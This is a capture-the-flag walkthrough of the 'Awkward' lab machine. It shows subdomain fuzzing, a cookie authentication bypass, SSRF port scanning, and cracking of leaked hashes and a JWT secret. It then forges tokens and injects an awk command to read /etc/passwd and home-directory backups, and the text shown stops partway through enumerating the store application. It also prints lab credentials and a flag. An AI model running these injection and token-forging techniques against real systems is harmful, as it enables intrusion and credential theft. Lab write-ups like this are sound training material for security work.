Awkward
22 minutes to read
awk
and find plaintext credentials inside a compressed archive. Next, we can access via SSH and find out another website built with PHP with two vulnerabilities. There is also a Cron task that takes information from a CSV file to send an email. The key here is to inject a malicious parameter in the CSV file so that the mail
command executes a malicious script, which leads to the privilege escalation- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.185
- Release: 22 / 10 / 2022
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.185 -p 22,80
Nmap scan report for 10.10.11.185
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 7254afbaf6e2835941b7cd611c2f418b (ECDSA)
|_ 256 59365bba3c7821e326b37d23605aec38 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 8.16 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.185
, we will be redirected to http://hat-valley.htb
. After setting the domain in /etc/hosts
, we have this landing page:
Since there’s a domain, let’s enumerate possible subdomains:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://hat-valley.htb -H 'Host: FUZZ.hat-valley.htb' -fs 132
[Status: 401, Size: 188, Words: 6, Lines: 8, Duration: 67ms]
* FUZZ: store
Alright, now we have store.hat-valley.htb
, but it asks for HTTP Basic Authentication:
Let’s fuzz for more routes on both websites:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://hat-valley.htb/FUZZ -r
[Status: 200, Size: 16353, Words: 1760, Lines: 375, Duration: 152ms]
* FUZZ: css
[Status: 200, Size: 14351, Words: 1661, Lines: 366, Duration: 150ms]
* FUZZ: js
[Status: 200, Size: 10998, Words: 1572, Lines: 356, Duration: 84ms]
* FUZZ: static
[Status: 200, Size: 2881, Words: 305, Lines: 55, Duration: 54ms]
* FUZZ: .
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://store.hat-valley.htb/FUZZ -fc 401
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 52ms]
* FUZZ: css
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 57ms]
* FUZZ: js
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 46ms]
* FUZZ: img
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 45ms]
* FUZZ: cart
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 42ms]
* FUZZ: static
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 51ms]
* FUZZ: fonts
[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 47ms]
* FUZZ: product-details
Well, nothing too interesting for the moment.
If we inspect the main website, it is build with Vue.js. This kind of websites are generated with JavaScript (Single Page Applications), so there are routes that can be found looking into the JavaScript files:
Let’s go to /hr
(/dashboard
redirects to /hr
as well):
Authentication bypass
We can try some default credentials or injections (SQL and NoSQL), but none of them work. At least, we can cause errors on the server and see some paths and filenames (/var/www/hat-valley.htb/server/server.js
):
$ curl hat-valley.htb/api/login -H 'Content-Type: application/json' -d '{'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected end of JSON input<br> at JSON.parse (<anonymous>)<br> at parse (/var/www/hat-valley.htb/node_modules/body-parser/lib/types/json.js:89:19)<br> at /var/www/hat-valley.htb/node_modules/body-parser/lib/read.js:128:18<br> at AsyncResource.runInAsyncScope (async_hooks.js:190:9)<br> at invokeCallback (/var/www/hat-valley.htb/node_modules/raw-body/index.js:231:16)<br> at done (/var/www/hat-valley.htb/node_modules/raw-body/index.js:220:7)<br> at IncomingMessage.onEnd (/var/www/hat-valley.htb/node_modules/raw-body/index.js:280:7)<br> at IncomingMessage.emit (events.js:314:20)<br> at endReadableNT (_stream_readable.js:1241:12)<br> at processTicksAndRejections (internal/process/task_queues.js:84:21)</pre>
</body>
</html>
$ curl hat-valley.htb/api/login -H 'Content-Type: application/json' -d '{"username":"asdf"}'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>TypeError [ERR_INVALID_ARG_TYPE]: The first argument must be of type string or an instance of Buffer, ArrayBuffer, or Array or an Array-like Object. Received undefined<br> at Function.from (buffer.js:330:9)<br> at new Buffer (buffer.js:286:17)<br> at module.exports (/var/www/hat-valley.htb/node_modules/sha256/lib/nodecrypto.js:14:12)<br> at /var/www/hat-valley.htb/server/server.js:30:76<br> at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)<br> at next (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:144:13)<br> at Route.dispatch (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:114:3)<br> at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)<br> at /var/www/hat-valley.htb/node_modules/express/lib/router/index.js:284:15<br> at Function.process_params (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:346:12)</pre>
</body>
</html>
Taking a look again at the login form, we see that we have a cookie called token
with value guest
:
Let’s change guest
to admin
:
Totally unexpected… Now we have access to the /dashboard
.
When clicking on “Refresh” an HTTP request is made:
Exploiting SSRF
Let’s see if the server can connect to us:
$ curl 'hat-valley.htb/api/store-status?url="http://10.10.17.44"' -H 'Cookie: token=admin'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
</ul>
<hr>
</body>
</html>
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.185 - - [12/Feb/2023 21:20:37] "GET / HTTP/1.1" 200 -
It does. Let’s use nc
to see the full HTTP request:
$ nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.185.
Ncat: Connection from 10.10.11.185:48926.
GET / HTTP/1.1
Accept: application/json, text/plain, */*
User-Agent: axios/0.27.2
Host: 10.10.17.44
Connection: close
It is using axios
to perform the HTTP request. Now, we can try to use Server-Side Request Forgery (SSRF) to query internal ports. For example, we can see port 80:
$ curl 'hat-valley.htb/api/store-status?url="http://127.0.0.1:80"' -H 'Cookie: token=admin'
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Refresh" content="0; url='http://hat-valley.htb'" />
</head>
<body>
</body>
</html>
To enumerate all internal ports, I used this short Bash script:
#!/usr/bin/env bash
function enum_port() {
curl "hat-valley.htb/api/store-status?url='http://127.0.0.1:$1'" -H 'Cookie: token=admin' -s | md5sum
}
for i in {1..65535}; do
echo "$i: $(enum_port $i)" &
done
wait
And we see three ports:
$ bash enum.sh | grep -v d41d8cd98f00b204e9800998ecf8427e
80: 57d3ff079054da366e3410714f7cc5b7 -
3002: a503f842648cc7054781898381629fc9 -
8080: eec43f2e72fc1fa2be35d0ba190ea4fd -
Port 80 is the main website, which redirects to port 8080 (the Vue.js application). On port 3002 we find a large HTML document, so let’s download it and render it on the browser:
$ curl "hat-valley.htb/api/store-status?url='http://127.0.0.1:3002'" -H 'Cookie: token=admin' -so index.html
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
It is some kind of API documentation:
Static code analysis
All of the requests require a valid JWT token, and we don’t have any credentials yet. However, the last request looks vulnerable:
If we omit the token
cookie, user_token
will be undefined
(a falsy value in JavaScript), so the program will skip the first if
statement. Then, since auth_failed
is initialized as false
, the second if
won’t be executed. Therefore, the server will send us all the users
table (SELECT * from users
):
$ curl hat-valley.htb/api/staff-details -s | jq
[
{
"user_id": 1,
"username": "christine.wool",
"password": "6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649",
"fullname": "Christine Wool",
"role": "Founder, CEO",
"phone": "0415202922"
},
{
"user_id": 2,
"username": "christopher.jones",
"password": "e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1",
"fullname": "Christopher Jones",
"role": "Salesperson",
"phone": "0456980001"
},
{
"user_id": 3,
"username": "jackson.lightheart",
"password": "b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436",
"fullname": "Jackson Lightheart",
"role": "Salesperson",
"phone": "0419444111"
},
{
"user_id": 4,
"username": "bean.hill",
"password": "37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f",
"fullname": "Bean Hill",
"role": "System Administrator",
"phone": "0432339177"
}
]
Incredible! Let’s take those hashes and try to crack them using crackstation.net:
Foothold
Well, one is enough. Now we can access using credentials christopher.jones:chris123
:
Also, we have a valid JWT token, so we can access other endpoints like /api/submit-leave
and /api/all-leave
:
Interesting parts are indicated with arrows. There are some system commands being executed and some user input is involved. Although there is a list of bad characters, there are some special characters allowed:
$ python3 -q
>>> from string import punctuation
>>> set(punctuation).difference(set([";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]))
{"'", '.', ':', '\\', '%', ',', '+', '/', '^', '_', '~', '=', '-', '"', '@'}
None of them seems to be useful to inject commands at /api/submit-leave
, since none of them allows us to concatenate another command.
Finding a LFR vulnerability
However, we might try to read files with awk
in /api/all-leave
. Let’s do normal requests to see how this API endpoints work:
$ curl hat-valley.htb/api/submit-leave -d '{"reason":"asdf","start":"0","end":"9"}' -H 'Content-Type: application/json' -H 'Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjc2MjM2MDYzfQ.MEmHAj5SRWVgp31npj29Someqy37gUwiyImwPBKxUVE'
Successfully added new leave request
$ curl hat-valley.htb/api/all-leave -H 'Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjc2MjM2MDYzfQ.MEmHAj5SRWVgp31npj29Someqy37gUwiyImwPBKxUVE'
christopher.jones,Donating blood,19/06/2022,23/06/2022,Yes
christopher.jones,Taking a holiday in Japan with Bean,29/07/2022,6/08/2022,Yes
christopher.jones,asdf,0,9,Pending
So, the server prints all lines of the CSV file that match with our username using awk
:
"awk '/" + user + "/' /var/www/private/leave_requests.csv"
Notice that we are allowed to enter single quotes ('
) and slashes (/
). So, at least we can escape the quotation context and add another file to read. This is the objective:
$ echo asdf > leave_requests.csv
$ echo secret > secret_file
$ awk '//' secret_file '' leave_requests.csv
secret
asdf
Therefore, we need to control the user
variable to enter /' <file> '
, which comes from the JWT token. Hence, we must be able to forge JWT tokens. One way of doing this is trying to crack the JWT token we have with rockyou.txt
. Something like this (using Node.js REPL):
$ npm install jsonwebtoken
...
$ node
Welcome to Node.js v19.6.0.
Type ".help" for more information.
> const fs = require('fs')
undefined
> const jwt = require('jsonwebtoken')
undefined
> for (const password of fs.readFileSync('rockyou.txt').toString().split('\n')) {
... try {
... jwt.verify('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjc2MjM2MDYzfQ.MEmHAj5SRWVgp31npj29Someqy37gUwiyImwPBKxUVE', password)
... console.log(password)
... } catch (err) { }
... }
123beany123
undefined
There we have the token secret. At this point we are able to forge JWT tokens and therefore control the user
variable. As a proof of concept, let’s try to read /etc/passwd
:
$ node
Welcome to Node.js v19.6.0.
Type ".help" for more information.
> const jwt = require('jsonwebtoken')
undefined
> jwt.sign({ username: "/' /etc/passwd '" }, '123beany123')
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ldGMvcGFzc3dkICciLCJpYXQiOjE2NzYyMzg0OTd9.mmbm4oVDXAWi_sO1tregfTL24yN5k3bxmEg9izlDuEA'
> .exit
$ curl hat-valley.htb/api/all-leave -H 'Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ldGMvcGFzc3dkICciLCJpYXQiOjE2NzYyMzg0OTd9.mmbm4oVDXAWi_sO1tregfTL24yN5k3bxmEg9izlDuEA'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
syslog:x:104:111::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin
systemd-oom:x:108:116:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin
tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin
whoopsie:x:117:124::/nonexistent:/bin/false
sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
nm-openvpn:x:120:126:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
saned:x:121:128::/var/lib/saned:/usr/sbin/nologin
colord:x:122:129:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:123:130::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:124:131:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false
hplip:x:126:7:HPLIP system user,,,:/run/hplip:/bin/false
gdm:x:127:133:Gnome Display Manager:/var/lib/gdm3:/bin/false
bean:x:1001:1001:,,,:/home/bean:/bin/bash
christine:x:1002:1002:,,,:/home/christine:/bin/bash
postfix:x:128:136::/var/spool/postfix:/usr/sbin/nologin
mysql:x:129:138:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:130:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:999:999::/var/log/laurel:/bin/false
At this point, I decided to write a simple Node.js script to exploit the Local File Read (LFR) vulnerability and read files from the server using the above procedure: readFile.js
(detailed explanation here).
$ node readFile.js /etc/hosts
127.0.0.1 localhost hat-valley.htb store.hat-valley.htb
127.0.0.1 awkward
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
We can read source code since we have the full path from previous errors:
$ node readFile.js /var/www/hat-valley.htb/server/server.js | head -30
const express = require('express')
const bodyParser = require('body-parser')
const cors = require('cors')
const jwt = require('jsonwebtoken')
const app = express()
const axios = require('axios')
const { exec } = require("child_process");
const path = require('path')
const sha256 = require('sha256')
const cookieParser = require("cookie-parser")
app.use(bodyParser.json())
app.use(cors())
app.use(cookieParser())
const mysql = require('mysql')
const { response } = require('express')
const connection = mysql.createConnection({
host: 'localhost',
user: 'root',
password: 'SQLDatabasePassword321!',
database: 'hatvalley',
stringifyObjects: true
})
const port = 3002
const TOKEN_SECRET = "123beany123"
app.post('/api/login', (req, res) => {
const {username, password} = req.body
connection.query(
'SELECT * FROM users WHERE username = ? AND password = ?', [ username, sha256(password) ],
So we see the password for MySQL. But it is useless…
$ node readFile.js /var/www/private/leave_requests.csv
Leave Request Database,,,,
,,,,
HR System Username,Reason,Start Date,End Date,Approved
bean.hill,Taking a holiday in Japan,23/07/2022,29/07/2022,Yes
christine.wool,Need a break from Jackson,14/03/2022,21/03/2022,Yes
jackson.lightheart,Great uncle's goldfish funeral + ceremony,10/05/2022,10/06/2022,No
jackson.lightheart,Vegemite eating competition,12/12/2022,22/12/2022,No
christopher.jones,Donating blood,19/06/2022,23/06/2022,Yes
christopher.jones,Taking a holiday in Japan with Bean,29/07/2022,6/08/2022,Yes
bean.hill,Inevitable break from Chris after Japan,14/08/2022,29/08/2022,No
It looks like bean.hill
and christopher.jones
just broke up… Anyway, let’s continue. From the /etc/passwd
file we see that bean
and christine
are valid users:
$ node readFile.js /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
bean:x:1001:1001:,,,:/home/bean:/bin/bash
christine:x:1002:1002:,,,:/home/christine:/bin/bash
Finding a plaintext password
We can try to access to common files in their home directories. For instance, .bashrc
. If we look at alias
commands, we find something interesting:
$ node readFile.js /home/bean/.bashrc | grep alias
# enable color support of ls and also add handy aliases
alias ls='ls --color=auto'
#alias dir='dir --color=auto'
#alias vdir='vdir --color=auto'
alias grep='grep --color=auto'
alias fgrep='fgrep --color=auto'
alias egrep='egrep --color=auto'
# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'
alias backup_home='/bin/bash /home/bean/Documents/backup_home.sh'
# Add an "alert" alias for long running commands. Use like so:
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
# ~/.bash_aliases, instead of adding them here directly.
if [ -f ~/.bash_aliases ]; then
. ~/.bash_aliases
Let’s read /home/bean/Documents/backup_home.sh
:
$ node readFile.js /home/bean/Documents/backup_home.sh
#!/bin/bash
mkdir /home/bean/Documents/backup_tmp
cd /home/bean
tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
date > /home/bean/Documents/backup_tmp/time.txt
cd /home/bean/Documents/backup_tmp
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
rm -r /home/bean/Documents/backup_tmp
We would like to download that .tar.gz
backup file. Since this is a binary file, let’s use the manual way:
$ node
Welcome to Node.js v19.6.0.
Type ".help" for more information.
> const jwt = require('jsonwebtoken')
undefined
> jwt.sign({ username: "/' /home/bean/Documents/backup/bean_backup_final.tar.gz '" }, '123beany123')
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3ogJyIsImlhdCI6MTY3NjI0MDcxM30.Y-nvN-avH-8BKiqrd6RVa7gif-RsuRXh1LfNksBi5iA'
> .exit
$ curl hat-valley.htb/api/all-leave -H 'Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3ogJyIsImlhdCI6MTY3NjI0MDcxM30.Y-nvN-avH-8BKiqrd6RVa7gif-RsuRXh1LfNksBi5iA' -so bean_backup_final.tar.gz
$ file bean_backup_final.tar.gz
bean_backup_final.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 167772320
Alright, let’s decompress it:
$ tar xvfz bean_backup_final.tar.gz
x ./
x ./bean_backup.tar.gz
x ./time.txt
Now we have another .tar.gz
file:
$ tar xvfz bean_backup.tar.gz
x ./
x ./Templates/
x ./.ssh/
x ./Pictures/
x ./.config/
x ./.config/xpad/
...
x ./.config/user-dirs.locale
x ./Videos/
x ./.gnupg/
x ./.gnupg/pubring.kbx
x ./.gnupg/trustdb.gpg
x ./.local/
x ./.local/share/
...
x ./.local/share/nano/
x ./.local/share/session_migration-ubuntu
x ./Music/
x ./snap/
x ./snap/snapd-desktop-integration/
...
x ./snap/snapd-desktop-integration/common/
x ./.bashrc
x ./Downloads/
x ./.bash_history
x ./.profile
x ./Desktop/
x ./Public/
x ./.bash_logout
x ./Documents/
x ./Documents/backup_tmp/
x ./Documents/backup_tmp/bean_backup.tar.gz
x ./Documents/backup_home.sh
x ./Documents/backup/
If we look for files that contain the username bean
as a string, we find these ones:
$ grep -nri bean .
./.config/gtk-3.0/bookmarks:1:file:///home/bean/Documents
./.config/gtk-3.0/bookmarks:2:file:///home/bean/Music
./.config/gtk-3.0/bookmarks:3:file:///home/bean/Pictures
./.config/gtk-3.0/bookmarks:4:file:///home/bean/Videos
./.config/gtk-3.0/bookmarks:5:file:///home/bean/Downloads
./.config/xpad/content-DS1ZS1:9:bean.hill
./.config/xpad/content-DS1ZS1:10:014mrbeanrules!#P
./.config/ibus/bus/ee6a821b27764b4d9e547b4690827539-unix-0:6:IBUS_ADDRESS=unix:abstract=/home/bean/.cache/ibus/dbus-aFcG5feC,guid=3dec9de0e2cbb2442d14006463230e0b
./.config/ibus/bus/ee6a821b27764b4d9e547b4690827539-unix-wayland-0:6:IBUS_ADDRESS=unix:abstract=/home/bean/.cache/ibus/dbus-aFcG5feC,guid=3dec9de0e2cbb2442d14006463230e0b
./.bashrc:96:alias backup_home='/bin/bash /home/bean/Documents/backup_home.sh'
Binary file ./.readFile.js.swp matches
./snap/snapd-desktop-integration/14/.config/user-dirs.dirs:8:XDG_DESKTOP_DIR="/home/bean/Desktop"
./snap/snapd-desktop-integration/14/.config/user-dirs.dirs:9:XDG_DOWNLOAD_DIR="/home/bean/Downloads"
./snap/snapd-desktop-integration/14/.config/user-dirs.dirs:10:XDG_TEMPLATES_DIR="/home/bean/Templates"
./snap/snapd-desktop-integration/14/.config/user-dirs.dirs:11:XDG_PUBLICSHARE_DIR="/home/bean/Public"
./snap/snapd-desktop-integration/14/.config/user-dirs.dirs:12:XDG_DOCUMENTS_DIR="/home/bean/Documents"
./snap/snapd-desktop-integration/14/.config/user-dirs.dirs:13:XDG_MUSIC_DIR="/home/bean/Music"
./snap/snapd-desktop-integration/14/.config/user-dirs.dirs:14:XDG_PICTURES_DIR="/home/bean/Pictures"
./snap/snapd-desktop-integration/14/.config/user-dirs.dirs:15:XDG_VIDEOS_DIR="/home/bean/Videos"
./Documents/backup_home.sh:2:mkdir /home/bean/Documents/backup_tmp
./Documents/backup_home.sh:3:cd /home/bean
./Documents/backup_home.sh:4:tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
./Documents/backup_home.sh:5:date > /home/bean/Documents/backup_tmp/time.txt
./Documents/backup_home.sh:6:cd /home/bean/Documents/backup_tmp
./Documents/backup_home.sh:7:tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
./Documents/backup_home.sh:8:rm -r /home/bean/Documents/backup_tmp
Actually, there’s a file that seems to contain a password (014mrbeanrules!#P
):
$ cat .config/xpad/content-DS1ZS1
TO DO:
- Get real hat prices / stock from Christine
- Implement more secure hashing mechanism for HR system
- Setup better confirmation message when adding item to cart
- Add support for item quantity > 1
- Implement checkout system
boldHR SYSTEM/bold
bean.hill
014mrbeanrules!#P
https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html
boldMAKE SURE TO USE THIS EVERYWHERE ^^^/bold
Indeed we can connect to the machine as bean
via SSH and read the user.txt
flag:
$ ssh bean@10.10.11.185
bean@10.10.11.185's password:
bean@awkward:~$ cat user.txt
3b545e2727648848f6080e6b5222592e
System enumeration
Since we have access to the file system, let’s try to see the nginx configuration:
bean@awkward:~$ ll /etc/nginx/sites-enabled/
total 8
drwxr-xr-x 2 root root 4096 Sep 15 23:34 ./
drwxr-xr-x 8 root root 4096 Oct 6 00:49 ../
lrwxrwxrwx 1 root root 34 Sep 15 21:55 default -> /etc/nginx/sites-available/default
lrwxrwxrwx 1 root root 46 Sep 15 23:33 hat-valley.htb.conf -> /etc/nginx/sites-available/hat-valley.htb.conf
lrwxrwxrwx 1 root root 37 Sep 15 23:34 store.conf -> /etc/nginx/sites-available/store.conf
Here we can find that store.hat-valley.htb
had an .htpasswd
file to require HTTP Basic Authentication:
bean@awkward:~$ cat /etc/nginx/sites-enabled/store.conf
server {
listen 80;
server_name store.hat-valley.htb;
root /var/www/store;
location / {
index index.php index.html index.htm;
}
# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
location ~ /cart/.*\.php$ {
return 403;
}
location ~ /product-details/.*\.php$ {
return 403;
}
location ~ \.php$ {
auth_basic "Restricted";
auth_basic_user_file /etc/nginx/conf.d/.htpasswd;
fastcgi_pass unix:/var/run/php/php8.1-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
include fastcgi_params;
}
# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /\.ht {
# deny all;
#}
}
bean@awkward:~$ cat /etc/nginx/conf.d/.htpasswd
admin:$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1
We can try to crack the above hash, but the password is not found in rockyou.txt
:
$ echo 'admin:$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1' > hash
$ john --wordlist=$WORDLISTS/rockyou.txt hash
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:15:27 100% 0g/s 15463p/s 15463c/s 15463C/sa6_123..*7¡Vamos!
Session completed
Enumerating the store application
However, we can reuse the previously found password (014mrbeanrules!#P
) and it works:
There are some products offered:
And a cart section:
It seems that the application is not finished:
Let’s try to add an item to the cart:
As expected, it is shown in the cart page:
And everything is handled with localStorage
:
At this point, let’s read the server’s source code:
bean@awkward:~$ ll /var/www/store/
total 104
drwxr-xr-x 9 root root 4096 Oct 6 01:35 ./
drwxr-xr-x 7 root root 4096 Oct 6 01:35 ../
drwxrwxrwx 2 root root 4096 Feb 13 10:30 cart/
-rwxr-xr-x 1 root root 3664 Sep 15 20:09 cart_actions.php*
-rwxr-xr-x 1 root root 12140 Sep 15 20:09 cart.php*
-rwxr-xr-x 1 root root 9143 Sep 15 20:09 checkout.php*
drwxr-xr-x 2 root root 4096 Oct 6 01:35 css/
drwxr-xr-x 2 root root 4096 Oct 6 01:35 fonts/
drwxr-xr-x 6 root root 4096 Oct 6 01:35 img/
-rwxr-xr-x 1 root root 14770 Sep 15 20:09 index.php*
drwxr-xr-x 3 root root 4096 Oct 6 01:35 js/
drwxrwxrwx 2 root root 4096 Feb 13 10:30 product-details/
-rwxr-xr-x 1 root root 918 Sep 15 20:09 README.md*
-rwxr-xr-x 1 root root 13731 Sep 15 20:09 shop.php*
drwxr-xr-x 6 root root 4096 Oct 6 01:35 static/
-rwxr-xr-x 1 root root 695 Sep 15 20:09 style.css*
For some reason we have all permissions on cart
and product-details
:
bean@awkward:~$ ll /var/www/store/cart/
total 8
drwxrwxrwx 2 root root 4096 Feb 13 10:30 ./
drwxr-xr-x 9 root root 4096 Oct 6 01:35 ../
bean@awkward:~$ ll /var/www/store/product-details/
total 20
drwxrwxrwx 2 root root 4096 Feb 13 10:30 ./
drwxr-xr-x 9 root root 4096 Oct 6 01:35 ../
-rw-r--r-- 1 root root 99 Feb 13 10:30 1.txt
-rw-r--r-- 1 root root 98 Feb 13 10:30 2.txt
-rw-r--r-- 1 root root 97 Feb 13 10:30 3.txt
bean@awkward:~$ cat /var/www/store/product-details/*.txt
***Hat Valley Product***
item_id=1&item_name=Yellow Beanie&item_brand=Good Doggo&item_price=$39.90
***Hat Valley Product***
item_id=2&item_name=Palm Tree Cap&item_brand=Kool Kats&item_price=$48.50
***Hat Valley Product***
